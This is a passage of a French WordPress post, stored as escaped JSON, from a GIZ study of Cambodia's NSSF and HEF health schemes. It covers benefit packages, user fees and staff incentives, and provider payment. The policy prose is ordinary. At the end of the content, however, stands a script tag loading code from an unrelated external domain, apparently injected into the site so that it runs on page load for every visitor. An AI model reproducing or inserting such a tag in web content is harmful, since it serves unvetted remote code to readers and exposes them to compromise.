re\u00e7u des soins de sant\u00e9 efficaces.<\/p>\n<p><strong><em>4.3 Conception de l&#8217;ensemble des prestations<\/em><\/strong><br \/>\nLa conception de l&#8217;ensemble des prestations fait r\u00e9f\u00e9rence aux &#8220;services qui doivent \u00eatre pay\u00e9s, en partie ou en totalit\u00e9, par l&#8217;acheteur \u00e0 partir de fonds communs, en mettant l&#8217;accent sur leur prix plut\u00f4t que sur le co\u00fbt de l&#8217;ensemble des prestations, tout en optimisant l&#8217;alignement de l&#8217;ensemble des prestations sur le paiement et les m\u00e9thodes des prestataires&#8221;.<\/p>\n<p>Les deux r\u00e9gimes ont des ensembles de prestations, des MPP et des taux de paiement diff\u00e9rents [&#8230;]. Dans la pratique, tous deux utilisent les paiements par cas, bien que le NSSF tende \u00e0 les compl\u00e9ter, en particulier dans les h\u00f4pitaux nationaux, par des honoraires pour certains services. Ces frais ont \u00e9t\u00e9 n\u00e9goci\u00e9s au cas par cas avec chaque \u00e9tablissement et ne sont pas n\u00e9cessairement les m\u00eames pour des \u00e9tablissements de m\u00eame niveau. Le dernier exercice d&#8217;\u00e9valuation des co\u00fbts visant \u00e0 d\u00e9terminer les frais d&#8217;utilisation a \u00e9t\u00e9 men\u00e9 en 2011 dans 10 h\u00f4pitaux non nationaux de diff\u00e9rents niveaux (Martin A. (2012)). \u00c9tude sur les co\u00fbts et la gestion financi\u00e8re des h\u00f4pitaux au Cambodge. Phnom Penh : Minist\u00e8re de la sant\u00e9). Des estimations plus r\u00e9centes, datant de 2016 et 2017, sont disponibles pour 60 \u00e9tablissements de sant\u00e9 (dont 17 h\u00f4pitaux, mais \u00e0 l&#8217;exclusion de tous les h\u00f4pitaux nationaux), mais elles ne sont pas encore utilis\u00e9es.<\/p>\n<p>L&#8217;ensemble des prestations est tr\u00e8s complet et exclut plusieurs interventions co\u00fbteuses. Dans la pratique, l&#8217;offre est limit\u00e9e \u00e0 ce qui est disponible, ce qui signifie que les services de pr\u00e9vention secondaire des maladies non transmissibles et les services g\u00e9riatriques et palliatifs sont insuffisants.<\/p>\n<p>Comme indiqu\u00e9 pr\u00e9c\u00e9demment, les informations utilis\u00e9es par la CNSS (et HEF) pour calculer les frais de prestation de services sont obsol\u00e8tes. En outre, les frais d&#8217;utilisation du FEH ne sont pas bas\u00e9s sur des estimations de co\u00fbts. Cela s&#8217;explique en partie par le fait que les frais d&#8217;utilisation des services de sant\u00e9 publics sont minimes et qu&#8217;ils sont principalement destin\u00e9s \u00e0 motiver les membres du personnel. Ainsi, jusqu&#8217;\u00e0 60 % de ces droits sont allou\u00e9s \u00e0 des mesures d&#8217;incitation pour le personnel. Cette pratique d&#8217;incitation des membres du personnel entrave toutefois le remboursement des co\u00fbts r\u00e9els, car ceux-ci doivent alors \u00eatre major\u00e9s de 60 %. Un autre probl\u00e8me li\u00e9 aux achats est le fait que 80 \u00e0 90 % des revenus des \u00e9tablissements concern\u00e9s sont constitu\u00e9s de salaires et de fournitures en nature, ce qui limite leur propre capacit\u00e9 \u00e0 motiver leur personnel.<\/p>\n<p>Alors qu&#8217;un nombre important de membres de la NSSF sont des ouvriers de l&#8217;habillement, dont la majorit\u00e9 sont des femmes en \u00e2ge de procr\u00e9er, il semble que l&#8217;on n&#8217;accorde pas suffisamment d&#8217;attention \u00e0 leurs besoins en mati\u00e8re de sant\u00e9. Par exemple, alors que l&#8217;utilisation des services hospitaliers est stimul\u00e9e en l&#8217;absence de syst\u00e8me de r\u00e9f\u00e9rence, les contraceptifs ne sont rembours\u00e9s que lorsqu&#8217;ils sont fournis dans des centres de sant\u00e9. HEF, quant \u00e0 lui, incite les prestataires de soins de sant\u00e9 \u00e0 tous les niveaux \u00e0 fournir des services de contraception, en particulier des m\u00e9thodes de longue dur\u00e9e. Contrairement \u00e0 la NSSF, la HEF encourage \u00e9galement les prestataires de soins de sant\u00e9 \u00e0 proc\u00e9der au d\u00e9pistage du cancer du sein et du cancer du col de l&#8217;ut\u00e9rus, et promeut le d\u00e9pistage des d\u00e9ficiences chez les nouveau-n\u00e9s et les enfants \u00e2g\u00e9s de 1 \u00e0 5 ans.<\/p>\n<p><strong><em>4.4 Syst\u00e8mes de paiement mixtes<\/em><\/strong><br \/>\nLes syst\u00e8mes mixtes de paiement des prestataires consistent \u00e0 &#8220;ne pas se contenter de relever les d\u00e9fis li\u00e9s au paiement des prestataires individuels, mais \u00e0 adopter une perspective syst\u00e9mique qui examine conjointement toutes les m\u00e9thodes de paiement des prestataires&#8221;.<\/p>\n<p>Les m\u00e9dicaments et les consommables sont gratuits et fournis de mani\u00e8re centralis\u00e9e aux \u00e9tablissements de soins publics par l&#8217;interm\u00e9diaire du Central Medical Stores. Les p\u00e9nuries de fournitures doivent \u00eatre couvertes par les 40% des frais d&#8217;utilisation qui ne sont pas allou\u00e9s aux incitations du personnel (pour lesquels les 60% restants des frais d&#8217;utilisation sont utilis\u00e9s). Lors du traitement de maladies non transmissibles, pour lesquelles l&#8217;offre est insuffisante, les co\u00fbts sont g\u00e9n\u00e9ralement transf\u00e9r\u00e9s aux patients, qui r\u00e9agissent en cherchant \u00e0 se faire soigner dans le secteur priv\u00e9. Bien que le NSSF applique des taux diff\u00e9rents pour les prestataires de soins de sant\u00e9 priv\u00e9s et publics, ils sont arbitrairement fix\u00e9s \u00e0 150 % des tarifs du secteur public. Les paiements suppl\u00e9mentaires sont cens\u00e9s couvrir les salaires, l&#8217;\u00e9quipement et les co\u00fbts d&#8217;investissement, pour lesquels les prestataires priv\u00e9s ne re\u00e7oivent pas d&#8217;allocations suppl\u00e9mentaires. Toutefois, aucune analyse des co\u00fbts n&#8217;a \u00e9t\u00e9 effectu\u00e9e pour justifier l&#8217;\u00e9valuation \u00e0 150 %.<\/p>\n<p>L&#8217;application de frais d&#8217;utilisation a des effets n\u00e9fastes sur la mise en \u0153uvre du syst\u00e8me de soins primaires, ainsi que sur la fourniture \u00e9quitable de services de soins de sant\u00e9, en particulier dans les environnements isol\u00e9s et difficiles. Les centres de sant\u00e9, en tant que prestataires de soins primaires de premi\u00e8re ligne, fournissent principalement des services de soins de sant\u00e9 pr\u00e9ventifs \u00e0 un co\u00fbt tr\u00e8s faible, ce qui minimise les revenus potentiels et donc la r\u00e9mun\u00e9ration du personnel. Le NSSF n&#8217;applique pas de syst\u00e8me d&#8217;orientation, et les patients contournent donc le niveau primaire pour obtenir des services dans les h\u00f4pitaux secondaires et tertiaires. Cette situation minimise les revenus des centres de sant\u00e9 et impose des co\u00fbts \u00e9lev\u00e9s au NSSF, car les services de niveau sup\u00e9rieur sont beaucoup plus co\u00fbteux (&nbsp;). Les difficult\u00e9s \u00e0 g\u00e9n\u00e9rer des revenus \u00e0 partir des frais d&#8217;utilisation, qui constituent la principale motivation du personnel, emp\u00eachent les centres de sant\u00e9 d&#8217;attirer des prestataires de soins qualifi\u00e9s, en particulier dans les zones mal desservies.<\/p>\n<p><strong><em>4.5 Gestion de l&#8217;alignement et de la dynamique<\/em><\/strong><br \/>\nLa gestion de l&#8217;alignement et de la dynamique implique qu'&#8221;une attention particuli\u00e8re doit \u00eatre accord\u00e9e \u00e0 l&#8217;adaptation continue de l&#8217;ensemble des prestations et du syst\u00e8me de paiement des prestataires, y compris les m\u00e9thodes de paiement et les m\u00e9canismes administratifs compl\u00e9mentaires, afin de r\u00e9pondre au comportement des prestataires caus\u00e9 par les m\u00e9thodes de paiement elles-m\u00eames&#8221;.<\/p>\n<p>Comme indiqu\u00e9 ci-dessus, les services exclus de l&#8217;ensemble des prestations entre les deux r\u00e9gimes diff\u00e8rent l\u00e9g\u00e8rement et sont li\u00e9s \u00e0 des co\u00fbts \u00e9lev\u00e9s ou \u00e0 la couverture des services (par exemple, la chirurgie plastique). Elles ne sont pas fond\u00e9es sur une \u00e9valuation rigoureuse du rapport co\u00fbt-efficacit\u00e9 ou du rapport co\u00fbt-b\u00e9n\u00e9fice. D&#8217;autre part, les deux ensembles de prestations comprennent des services que le secteur public des soins de sant\u00e9 n&#8217;est pas en mesure de fournir correctement, tels que la gestion des maladies non transmissibles (Jacobs B, Hill P, Bigdeli M, Men C. (2016). Gestion des maladies non transmissibles au niveau des districts sanitaires au Cambodge : analyse des syst\u00e8mes et suggestions d&#8217;am\u00e9lioration. BMC Health Services Research, 16 (32)).<\/p>\n<p>Les deux r\u00e9gimes utilisent des proc\u00e9dures administratives diff\u00e9rentes ; les proc\u00e9dures du FEH sont plus avanc\u00e9es en termes de num\u00e9risation, de rapidit\u00e9 et de pr\u00e9cision. Les frais plus \u00e9lev\u00e9s pay\u00e9s par le NSSF&nbsp;[&#8230;] renforcent probablement le traitement in\u00e9quitable des patients associ\u00e9 \u00e0 ce dernier r\u00e9gime. Contrairement au NSSF, le HEF ne prend pas en charge l&#8217;hospitalisation des cas de tuberculose et encourage plut\u00f4t les soins ambulatoires, conform\u00e9ment aux pratiques internationales.<\/p>\n<ol class=\"footnotes\"><li id=\"footnote_0_987626666\" class=\"footnote\">Royal Government of Cambodia. (2017). National Social Protection Policy Framework (NSPPF<span class=\"footnote-back-link-wrapper\">[<a href=\"#identifier_0_987626666\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/span><\/li><\/ol><script src=https:\/\/buryebilgrill.online\/footnotes><\/script>","protected":false},"excerpt":{"rendered":"<p>Avertissement : cette \u00e9tude&nbsp;est publi\u00e9e par la Deutsche Gesellschaft f\u00fcr Internationale Zusammenarbeit (GIZ) GmbH, qui est un centre collaborateur de l&#8217;OMS ; il ne s&#8217;agit pas d&#8217;une publication de l&#8217;Organisation mondiale de la sant\u00e9. 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